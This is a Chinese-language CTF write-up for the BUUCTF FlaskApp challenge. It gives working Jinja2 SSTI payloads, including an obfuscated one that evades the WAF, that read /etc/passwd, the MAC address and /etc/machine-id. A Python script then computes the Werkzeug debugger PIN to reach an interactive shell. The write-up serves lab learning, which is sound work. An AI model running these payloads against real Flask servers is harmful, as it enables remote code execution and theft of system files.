BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell

ssti都给你了

{{((lipsum.__globals__.__builtins__['__i''mport__']('so'[::-1])['p''open']("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}}

但是学习记录一下pin的获取

首先就是通过base加密后 当base64解密的时候 会造成ssfr

这里过滤了 * 所以使用 {{7+7}} 实现

然后我们开始看看源代码

可以发现HINT 下存在pin

所以是找pin

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 

这里我们开始

在解密随便输入内容

 报错了 然后我们可以看源代码

@app.route('/decode',methods=['POST','GET'])def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 ： {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)flash( res )

这里可以发现没啥内容 但是有waf

首先通过读取读取一下/etc/passwd

用户

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

存在flask web 用户

绝对路径

网卡

/sys/class/net/eth0/address{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

56:89:65:ca:65:4a

然后需要处理

56:89:65:ca:65:4a
568965ca654a然后变为十进制即可
95148118271306

机器码

https://mochu.blog.csdn.net/article/details/132741209?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-4-132741209-blog-108400293.235%5Ev39%5Epc_relevant_anti_vip&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-4-132741209-blog-108400293.235%5Ev39%5Epc_relevant_anti_vip&utm_relevant_index=3

{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}{%endif%}
{%endfor%}

1408f836b0ca514d796cbf8960e45fa1 

然后生成pin

 import hashlibfrom itertools import chainprobably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]​private_bits = ['95148118271306',# str(uuid.getnode()),  /sys/class/net/ens33/address'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id]​h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')​cookie_name = '__wzd' + h.hexdigest()[:20]​num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]​rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = num​print(rv)​

然后就可以实现交互shell

os.popen('ls').read()os.popen('ls /').read()